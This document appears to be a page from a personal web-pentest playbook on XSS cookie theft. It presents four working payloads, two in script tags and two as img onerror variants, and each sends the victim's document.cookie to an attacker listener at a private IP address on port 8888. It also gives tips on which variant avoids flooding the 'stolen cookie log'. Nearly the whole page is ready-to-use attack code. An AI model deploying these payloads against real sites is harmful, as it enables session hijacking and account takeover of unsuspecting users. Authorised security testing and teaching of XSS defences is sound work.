> For the complete documentation index, see [llms.txt](https://jackmeister.gitbook.io/jackmeister-playbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jackmeister.gitbook.io/jackmeister-playbook/web-pentest/client-site-attacks/xss/xss-cookie-stealing.md).

# XSS cookie stealing

### Inject the XSS Attack Code

Below are four versions of the same attack.

#### 1. `alert()` Before Stealing the Cookie

Run this version of the attack code if you want to see the cookie in a JS `alert()` as confirmation that the injection is successfully exploiting the vulnerability on the target site. Note that the cookie will not upload to your Python listener until the victim closes the JS `alert()` dialog.

```javascript
<script>
alert(document.cookie);
var i=new Image;
i.src="http://192.168.0.18:8888/?"+document.cookie;
</script>
```

#### 2. Silent One-Liner

This one is the same but no `alert()` and all on one line.

```js
<script>var i=new Image;i.src="http://192.168.0.18:8888/?"+document.cookie;</script>
```

#### 3. `<img>` Tag Instead of `<script>` Tags

Don't use this one! It works but calls `onerror()` in a loop, filling up your stolen cookie log:

```html
<img src=x onerror=this.src='http://192.168.0.18:8888/?'+document.cookie;>
```

#### 4. `<img>` Tag and Without the Infinite Loop

This one works and will only steal the cookie once. I adapted it from a posting on the old \[kirupa.com]\[4] forum.

```html
<img src=x onerror="this.src='http://192.168.0.18:8888/?'+document.cookie; this.removeAttribute('onerror');">
```